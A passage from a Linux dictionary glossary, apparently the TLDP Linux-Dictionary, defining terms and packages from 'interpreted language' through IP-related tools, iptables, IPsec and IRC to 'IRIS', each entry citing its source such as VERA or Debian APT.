An interpreted language depends on an interpreter program that reads the source code and translates it on the fly into computations and system calls. The source has to be re-interpreted (and the interpreter present) each time the code is executed. Interpreted languages tend to be slower than compiled languages, and often have limited access to the underlying operating system and hardware. On the other hand, they tend to be easier to program. See Compiled language and P-code language. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Interpreted Language

Unlike a compiled program, which is converted from source code to an executable one time, by a compiler, and then run from its binary form, an interpreted program is converted to binary on the fly each time it is run, by an interpreter program. Interpreted languages (and thus their programs) tend to be slower than compiled and p-code languages/programs, and generally have limited authorization to low-level operating system functions or direct hardware access. On the other hand, they do not require compilers (which can be expensive), are often included along with operating systems, and are usually easier to program than compiled languages. Examples of interpreted languages are BASIC, Perl, Python and REXX/Object REXX. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

interrupt

1. [techspeak] n. On a computer, an event that interrupts normal processing and temporarily diverts flow-of-control through an "interrupt handler" routine. See also trap. 2. interj. A request for attention from a hacker. Often explicitly spoken. "Interrupt -- have you seen Joe recently?" See priority interrupt. 3. Under MS-DOS, nearly synonymous with `system call', because the OS and BIOS routines are both called using the INT instruction (see interrupt list) and because programmers so

often have to bypass the OS (going directly to a BIOS interrupt) to get reasonable performance. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Interrupts

Interrupts are signals sent by devices which are received by the operating system and then processed. A device driver is responsible for handling the information that is received. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Intimate (iPAQ)

The Intimate project is a Debian based Linux distribution for the Compaq iPAQ. It combines work being done by the Familiar Project with Debian package management. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

intltool

This tool automatically extracts translatable strings from oaf, glade, bonobo ui, nautilus theme, .desktop, and other data files and puts them in the po files for internationalization. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

intltool

utility scripts and assorted auto magic for internationalizing XML Automatically extracts translatable strings from oaf, glade, bonobo ui, nautilus theme and other XML files into the po files. Automatically merges translations from po files back into .oaf files (encoding to be 7-bit clean). I can also extend this merging mechanism to support other types of XML files. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Intranet

A private network inside a company or organization that uses the same kinds of software that you would find on the public Internet, but that is only for internal use. Compare with extranet. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Intranet

descriptive term being used for the implementation of Internet technologies within a corporate organisation, rather than for external connection to the global Internet. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Intranet

TCP/IP based private network in which authorized members of an organization can access resources. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

intrusion

A formal term describing the act of compromising a system. Contrast: intrusion prevention Protect the system, such as using access control. intrusion detection Second line of defense, detecting either failed attempts to compromise the system or often successful ones. intrusion recovery After a system has been compromised in a security incident, what steps need to be taken to recover the system (such as restoring from backups). Intrusion recovery is related to general disaster recovery. Contrast: physical intrusion Given enough time, somebody with physical access to a computer will be able to break in. One way would be to turn the power off and boot from a floppy or CD-ROM. Another way would be to remove the disk drive from the machine. local intrusion Users who can log on to the machine with one user account can often attack the system in order to gain root/administrator privileges. This is more often a concern for Unix systems than Windows. Note that even though it is called a "local" intrusion, the user may still be remotely connected to the computer. remote intrusion An intrusion where the attacker does not have any other access to the box except to be able to send packets at it. Most of what people think of "hacking" on the Internet is remote intrusions. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Intrusion detection

The ability to detect people trying to compromise your system. Intrusion detection is divided into two main categories, host based, and network based. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

intrusion detection system (IDS)

Linux Dictionary

Software or device that inspects and flags system and network activity for suspicious activity, such as modified files or unauthorized entry. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

intuitively

Automatic IP configuration detection for laptops A utility to locate current network address via arp requests and perform heavy reconfigurations based on its findings. "intuitively" is intended for laptop users or people who use their machines in different networks all the time. It is meant to be run from the PCMCIA network initialization scripts or the command line. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

inventor

Open Inventor is an object-oriented 3D toolkit offering a comprehensive solution to interactive graphics programming problems. It presents a programming model based on a 3D scene database that simplifies graphics programming. It includes a large set of objects such as cubes, polygons, text, materials, cameras, lights, trackballs, handle boxes, 3D viewers, and editors can speed up your programming and extend your 3D program's capabilities. For more information see

<http://oss.sgi.com/projects/inventor/>. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

invoke-rc.d

executes System-V style init script actions From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IP

Intelligent Peripheral (IN) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IP

Intelligent Peripheral From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IP

Internet Protocol [version 4] (RFC 791) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IP

See Internet Protocol (IP). From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IP (Internet Protocol)

see also TCP. This is an international standard for providing unique addresses (of computers) on the Internet. An IP address is four bytes long and is usually of the form a.b.c.d where each of these letters represents a number between 0 and 255. From Faculty-of-Education
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IP (Internet Protocol)

The underlying packet standard used to connect networks over the Internet. IP is half of a protocol suite that works and must work with TCP. From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IP address

A numeric address used by computer hosts to transmit and receive information over the Internet. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IP aliasing

provides the possibility of setting multiple network addresses on the same low-level network device driver (e.g two IP addresses in one Ethernet card). From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IP Filtering Firewalls

works at the packet level. It is designed to control the flow of packets based the source, destination, port and packet type information contained in each packet. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IP Masquerade

A networking function in Linux similar to one-to-many NAT (Network Address Translation) found in many commercial firewalls and network routers. IP Masquerade allows other "internal" computers connected to this Linux box (via PPP, Ethernet, etc.) to also reach the Internet as well. Linux IP Masquerading allows for this functionality even though these internal machines don't have an officially assigned IP addresses. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IP Number (Internet Protocol Number)

Sometimes called a dotted quad. A unique number consisting of 4 parts separated by dots, e.g. 165.113.245.2 Every machine that is on the Internet has a unique IP number – if a machine does not have an IP number, it is not really on the Internet. Many machines (especially servers) also have one or more Domain Names that are easier for people to remember. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IP spoofing

IP Spoofing is a complex technical attack that is made up of several components. It is a security exploit that works by tricking computers in a trust-relationship that you are someone that you really aren't. There is an extensive paper written by daemon9, route, and infinity in the Volume Seven, Issue fourty-Eight issue of Phrack Magazine. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IP-Accounting

keeps track of IP network traffic, packet logging and produces some statistics. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IP-Masquerading

IP Masquerade is a networking function in Linux similar to the one-to-many (1:Many) NAT (Network Address Translation) servers found in many commercial firewalls and network routers. For example, if a Linux host is connected to the Internet via PPP, Ethernet, etc., the IP Masquerade feature allows other "internal" computers connected to this Linux box (via PPP, Ethernet, etc.) to also reach the Internet as well. Linux IP Masquerading allows for this functionality even though these internal machines don't have an officially assigned IP address. MASQ allows a set of machines to invisibly access the Internet via the MASQ gateway. To other machines on the Internet, the outgoing traffic will appear to be from the IP MASQ Linux server itself. In addition to the added functionality, IP Masquerade provides the foundation to create a HEAVILY secured networking environment. With a well built firewall, breaking the security of a well configured masquerading system and internal LAN should be considerably difficult to accomplish. If you would like to know more on how MASQ (1:Many) differs from 1:1 (true) NAT and Proxy solutions, please see the Section 7.6 FAQ entry. From IP-Masquerade-HOWTO <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ip2host

Resolve IPs to hostnames in web server logs This script is a drop-in replacement for the logresolve.pl script distributed with the Apache web server. ip2host has the same basic design of forking children to handle the DNS resolution in parallel, but multiplexes the communication to minimize the impact of slow responses. This results in a significant speed improvement (approximately 10x faster), and the performance degrades more gracefully as the DNS timeout value is increased. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ip6tables

IPv6 packet filter administration From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ip6tables-restore

Restore IPv6 Tables From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ip6tables-save

Save IPv6 Tables From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPA

Information Processing promotion Agency (org., MITI, Japan) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPA

[fraunhofer] Institut fuer Produktionstechnik und Automation (org., Stuttgart, Germany) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ipac

IP accounting configuration and statistics tool Allows easy configuration of the Linux kernel's IP accounting features. It can also read this information from the kernel, store it and summarise it. If you use linux 2.3 or 2.4, you need ipchains compatibility in your kernel as ipac does not support the new kernel natively yet. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ipadic

Dictionaries for ChaSen Dictionaries for ChaSen. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ipautofw

Utility to automatically add masquerade entries This program allows linux masquerading available in 2.0 series kernels to work with programs such as RealAudio which don't send out a packet on all ports they wish to receive on. For 2.2 series kernels see ipmasqadm instead. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPC

Internet Privacy Coalition (Internet) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPC

InterProcess Communications [protocol] From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPCE

InterProcess Communication Environment From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ipchains

inserts and deletes rules from the kernel's packet filtering section. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ipchains

IP firewall administration From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ipchains

Network firewalling for Linux 2.2.x This package allows you to control how programs on your system may access the network, and how programs on other systems may access yours via the network. This package fully replaces ipfwadm by wrapping it for old fashioned users and for old

scripts. Firewalling HOWTO can be found in doc-linux-* package. Linux ipchains is a rewrite of the Linux IPv4 firewalling code (which was mainly stolen from BSD) and a rewrite of ipfwadm, which was a rewrite of BSD's ipfw, I believe. It is required to administer the IP packet filters in Linux kernel versions 2.1.102 and above. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPChains

The name of the program and associated technology used to create rules controlling network access to and from a particular machine or network. Used to configure firewall rules in the Linux kernel.

Ipchains has been superceded by iptables in the 2.4 kernel. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ipchains-restore

restore IP firewall chains from stdin From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ipchains-save

save IP firewall chains to stdout From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ipcheck

Dyndns.org client to register your dynamic IP address The Dynamic DNS service allows you to alias a dynamic IP address to a static hostname, allowing your computer to be more easily accessed from various locations on the Internet. This is a simple Python script to register your dynamic IP address using the NIC V2.0 protocol. The script is very easy to use and supports multiple methods for determining the external IP (parsing interfaces on the local machine, web based IP detection, direct support for devices from Linksys, Netgear, Draytek, Netopia, HawkingTech, Watchgard, Cayman, Nexland, ZyXEL, SMC, Compex, UgatePlus, DLink and Cisco). It also supports the dyndns offline mode. Starting with version 1.4.1 ipcheck uses https by default and will fall back to http if a timeout occurs. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPCop Firewall

IPCop Firewall is a Linux firewall distro. It will be geared towards home and SOHO users. The difference with existing firewalls is that the IPCop interface will be very user-friendly and task-based. IPCop v0.1.1 was released January 17, 2002. Version 1.3.0 was released April 22, 2003. A 'secured' distribution. From LWN Distribution List

- ipip**

IP over IP Encapsulation Daemon This daemon provides an alternative to the kernel-resident support for IP encapsulation links. It is better suited for situations where there are many encapsulation connections to be managed, such as is the case for amateur radio interconnection of network 44. Also, because the daemon is outside the kernel, it provides an excellent environment for experimenting with alternate mechanisms for distributing encapsulation routing updates. If you need one encapsulation link, use the kernel's built-in support. If you need a lot of encapsulation links, give this daemon a try. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPL

Initial Program Load From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPM

Impulses Per Minute From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPM

InterPersonal Messaging From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPM

Interruptions Per Minute From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ipmasq

Securely initializes IP Masquerade forwarding/firewalling This package contains scripts to initialize IP Masquerade for use as a firewall. IP Masquerade is a feature of Linux that allows an entire network of computers to be connected to another network (usually the Internet) with only one network address on the other network. IP Masquerade is often referred to as NAT (Network Address Translation) on other platforms. By default, this package configures the system as a basic forwarding firewall, with IP spoofing and stuffed routing protection. The firewall will allow hosts behind the firewall to get to the Internet, but not allow connections from the Internet to reach the hosts behind the firewall. However, ipmasq now features a very flexible framework where you can override any of the predefined rules if you so choose. It also allows you to control if the rules are reinterpreted when pppd brings a link up or down. This package should be installed on the firewall host and not on the hosts behind the firewall. IP Masquerade requires the kernel to be compiled with masquerading support (please see documentation for specific kernel options required). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ipmasqadm

IP Masquerading additional modules administration From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ipmasqadm

Utility for configuring extra masquerading functionality Ipmasqadm is used to configure extra masquerading functionality, usually provided by additional kernel modules. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ipmenu

A cursel iptables/iproute2 GUI ipmenu is an iptables/iproute2 GUI in cursel (an ncurses library), for all those of you who still prefer the console. It's very easy to use, yet powerful and flexible. You can configure both iptables (packet filtering, mangling, NAT) and iproute2 (routing, etc) with a single GUI! From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPMI

Intelligent Platform Management Interface (Intel, HP, DELL) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ipmi-control

IPMI control tools This package contains ipmi_ctl, a commandline tool to query and manipulate the IPMI (Intelligent Platform Management Interface) functionality of an Intel-based machine. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPMS

InterPersonal Messaging System From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPN

Info Pool Network (ISP) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPNG

Internet Protocol Next Generation (IP, RFC 1550/1752), "IPng" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPng

IP Next Generation: a new version of IP which is designed to be an evolutionary step from IPv4. It is a natural increment to IPv4. IPng is a new version of IP which is designed to be an evolutionary step from IPv4. It is a natural increment to IPv4. It can be installed as a normal software upgrade in internet devices and is interoperable with the current IPv4. Its deployment strategy was designed to not have any "flag" days. IPng is designed to run well on high performance networks (e.g., ATM) and at the same time is still efficient for low bandwidth networks (e.g., wireless). In addition, it provides a platform for new internet functionality that will be required in the near future. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPOC

Interim Policy Oversight Committee (Internet, TLD) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ipolish

The polish dictionary for ispell. This is the polish dictionary, to be used with the ispell program, version 3.1.04 and following. The dictionary contains roughly 140,000 roots, which expand to about 1,400,000 words. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ipopd

POP2 and POP3 servers from UW This package contains the POP2 and POP3 servers which were formerly part of the University of Washington IMAP package. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ipopd-ssl

POP2 and POP3 servers from UW This package contains the POP2 and POP3 servers which were formerly part of the University of Washington IMAP package. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

iportuguese

The portuguese dictionary for ispell. This is the portuguese dictionary for ispell as put together by Jose Joao Almeida, <jj@di.uminho.pt> and Ulisses Pinto. See <http://www.di.uminho.pt/~jj/pln/> for more information. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPP

Internet Presence Provider (Internet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPP

Internet Printing Protocol (IBM, OS/400) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPP

Internet Printing Protocol. A new HTTP-like protocol for sending files to a network printer. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ippl

IP protocols logger ippl is a configurable IP protocols logger. It currently logs incoming ICMP messages, TCP connections and UDP datagrams. It is configured with Apache-like rules and has a built-in DNS cache. It has been developed to replace iplogger. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ippdp

PPP daemon for syncPPP over ISDN If you want to connect to the internet over ISDN with an internal ISDN card, you will need this. Also needed for allowing dialins from Windows PCs over ISDN. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

iprint

Trivial command-line integer print utility iprint is a simple utility to print out the octal, hexadecimal, and or ascii values of the characters fed to it on the command line. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

iproute

Professional tools to control the networking in Linux kernels This is `iproute', the professional set of tools to control the networking behavior in kernels 2.2.x and later. At least, the options CONFIG_NETLINK and CONFIG_RTNETLINK must be compiled in the running kernel From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

iproute2

The iproute package contains networking utilities (ip, tc and rtmmon, for example) which are designed to use the advanced networking capabilities of the Linux 2.2.x kernels and later, such as policy routing, fast NAT and packet scheduling. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPS

Information Processing Standards From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPS

InPlane Switching [technology] (LCD) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ipsc

IP Subnet Calculator for console. The IP Subnet Calculator is a tool that allows network administrators to make calculations that will assist in subnetting a network. You give the network class and subnet bits and you get back the maximum number of subnets, maximum number of hosts per subnet, a bimap showing the breakdown of network bits, subnet bits, and host bits, the decimal and hexadecimal class netmask, the decimal and hexadecimal subnet mask and lists subnets and host information. CIDR support and reverse engineer the network information for a particular interface (e.g. eth0, ppp0). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPSE

Integrated Programming Support Environment (CASE) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPSEC

Internet Protocol SECURITY (org., Internet, IETF, DES) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPsec

Security extensions to IP. Traditionally, encryption takes place at the application layer or above. IPsec provides generic encryption for IP packets in such a way that applications are not necessarily aware of the process. IPsec source code is freely available. Key point: IPsec's main use today is when tunneling traffic for VPNs. It can also work for generic encryption of data between two hosts. Algorithms: Diffie-Hellman From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPSJ

Information Processing Society of Japan (org., Japan) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPSP

Internet Protocol Security Protocol From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

iptables

IP packet filter administration From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

iptables

IP packet filter administration tools for 2.4.4+ kernels netfilter and iptables are the framework inside the Linux 2.4.x kernel which enable packet filtering, network address translation (NAT) and other packet mangling. netfilter is a set of hooks inside the linux 2.4.x kernel's network stack which allows kernel modules to register callback functions called every time a network packet traverses one of those hooks. iptables is a generic table structure for the definition of rulesets. Each rule within an IP table consists out of a number of classifiers (matches) and one connected action (target). netfilter, iptables and the connection tracking as well as the NAT subsystems together build the whole framework. IMPORTANT NOTES: System security is a discipline that cannot be achieved by simply installing the iptables package -- the iptables package is NOT a firewall package. Also, misused rulesets can easily disallow you access to remote and local (yes, even localhost) network services.

From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

iptables

Kernel-level Internet packet filter subsystem for the 2.4 and higher version of the Linux kernel; Rules can be enabled to allow or deny network connections to the system. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

iptables

The iptables utility controls the network packet filtering code in the Linux kernel. If you need to set up firewalls and/or IP masquerading, you should install this package. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

iptables-restore

Restore IP Tables From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

iptables-save

Save IP Tables From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPTC

International Press Telecommunications Council (org.) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPTD

[microsoft] Internet Platform and Tools Division (MS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

iptraf

Interactive Colorful IP LAN Monitor IPtraf is an ncurses-based IP LAN monitor that generates various network statistics including TCP info, UDP counts, ICMP and OSPF information, Ethernet load info, node stats, IP checksum errors, and others. Note that since 2.0.0 IPtraf requires a kernel >= 2.2 From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPU

Intelligent Processing Unit From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPU

ISDN-datex-P-Umsetzer From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

iputils

The iputils package contains basic utilities for monitoring a network, including ping. The ping command sends a series of ICMP protocol ECHO_REQUEST packets to a specified network host to discover whether the target machine is alive and receiving network traffic. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

iputils

The iputils package contains ping, a basic networking tool. The ping command sends a series of ICMP protocol ECHO_REQUEST packets to a specified network host and can tell you if that machine is alive and receiving network traffic. ip6calc is a small utility which formats and calculates IPv6 addresses in different ways. It extends the existing address detection on IPv6 initscript setup or

make life easier in adding reverse IPv6 zones to DNS or using in DNS queries like `nslookup -q=ANY `ipv6calc -r 3ffe:400:100:f101::1/48`` See also here for more details:
<http://www.bieringer.de/linux/IPv6/> From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPV6

Internet Protocol Version 6 (IP, RFC 1883/1884), IPv6 From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ipv6calc

a small utility for manipulating IPv6 addresses. `ipv6calc` is a small utility which formats and calculates IPv6 addresses in different ways. `host -t any `ipv6calc -r 3ffe:400:100:f101::1/48`` See also here for more details: <http://www.bieringer.de/linux/IPv6/> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPVR

Institut fuer Parallele und Verteilte Rechensysteme (org., Uni Stuttgart, Germany) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ipvsadm

Linux Virtual Server support programs The Linux Virtual Server is a highly scalable and highly available server built on a cluster of real servers. The architecture of the cluster is transparent to end users, and the users see only a single virtual server. This package provides some support programs necessary to implement a virtual server under Linux. With the addition of the `mon` and `heartbeat` packages it is possible to implement a complete high-availability solution for Linux. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPW

Incremental Packet Writing (CD-R) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPX

Internet Packet eXchange (Novell, Netware) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ipx

Utilities to configure the kernel `ipx` interface. Utilities to configure the kernel `IPX` interface. The kernel has to be compiled with `IPX` support. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPX/SPX

Internet Packet Exchange/Sequenced Packet Exchange – a proprietary protocol stack developed by Novell and based on Xerox Network Systems (XNS) protocol. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPXCP

[PPP] Internetwork Packet eXchange Control Protocol (PPP, RFC 1552) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPXODI

IPX Open Datalink Interface (Novell, Netware) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ipxripd

IPX RIP/SAP daemon `ipxripd` is a RIP/SAP daemon program for Linux. It makes your Linux computer act as an IPX router. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPXSPX

IPX / Sequenced Packet eXchange (Novell, Netware), "IPX/SPX" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IPXWAN

Internet Packet eXchange over various WAN media (Novell, IPX, WAN, RFC 1634) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IR

Information Retrieval From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IR

Interface Repository (ORB) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IR

Internet Registry From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

iraf

Image Reduction and Analysis Facility (astronomy/imaging) IRAF is the "Image Reduction and Analysis Facility". The main IRAF distribution includes a good selection of programs for general image processing and graphics, plus a large number of programs for the reduction and analysis of optical and IR astronomy data (the "noao" packages). Other external or layered packages are available for applications such as data acquisition or handling data from other observatories and wavelength regimes such as the Hubble Space Telescope (optical), EUVE (extreme ultra-violet), or ROSAT and AXAF (X-ray). These external packages are distributed separately from the main IRAF distribution but can be easily installed. The IRAF system also includes a complete programming environment for scientific applications, which includes a programmable Command Language scripting facility, the IMFORT Fortran/C programming interface, and the full SPP/VOS programming environment in which the portable IRAF system and all applications are written. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

irb

The Interactive Ruby. The irb is acronym for Interactive RuBy. It evaluates Ruby expression from the terminal. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IRC

InformationsRessourcen Controlling (IM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IRC

Internet Relay Chat [protocol] (RFC 1459, Internet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IRC

See Internet Relay Chat (IRC). From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IRC (Internet Relay Chat)

Interactive, real-time discussions between Internauts using text messages. Users log into designated Net computers and join discussions already in progress. More information about IRC can be obtained via FTP. FTP to: cs-ftp.bu.edu. From Glossary of Distance Education and Internet Terminology
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ircd

Undernet IRC Server daemon This is ircu, the Undernet Internet Relay Chat daemon, which allows interactive character based communication between people connected to this server with IRC clients. It is based on the latest stable version which can be downloaded from <http://coder-com.undernet.org/>. This version is compiled for network usage but it can also run standalone. You can modify it's behaviour with reconfiguring/rebuilding. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ircii

Internet Relay Chat client The ircII program is a full screen, termcap based interface to Internet Relay Chat. It gives full access to all of the normal IRC functions, plus a variety of additional options. This Version is able to display mIRC colors. It supports "/encrypt -cast" From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IRCS

Institute for Research in Cognitive Science (org., Uni Pennsylvania, USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IRDA

InfraRed Data Association (org., manufacturer, IRDA), "IrDA" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

irda

IrDA(TM) (Infrared Data Association) is an industry standard for wireless, infrared communication between devices. IrDA speeds range from 9600 bps to 4 Mbps. IrDA can be used by many modern devices including laptops, LAN adapters, PDAs, printers, and mobile phones. The Linux-IrDA project is a GPL'd implementation, written from scratch, of the IrDA protocols. Supported IrDA protocols include IrLAP, IrLMP, IrIAP, IrTTP, IrLPT, IrLAN, IrCOMM, and IrOBEX. The irda-utils package contains a collection of programs that enable the use of IrDA protocols. Most IrDA features are implemented in the kernel, so IrDA support must be enabled in the kernel before any IrDA tools or programs can be used. Some configuration outside the kernel is required, however, and some IrDA features, like IrOBEX, are actually implemented outside the kernel. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IRDS

Information Resource Dictionary System (ANSI, ISO, IM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IRF

Integer Register File (DEC, Alpha, CPU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IRIS

Institute for Robotics and Intelligent Systems (org., Canada) From VERA
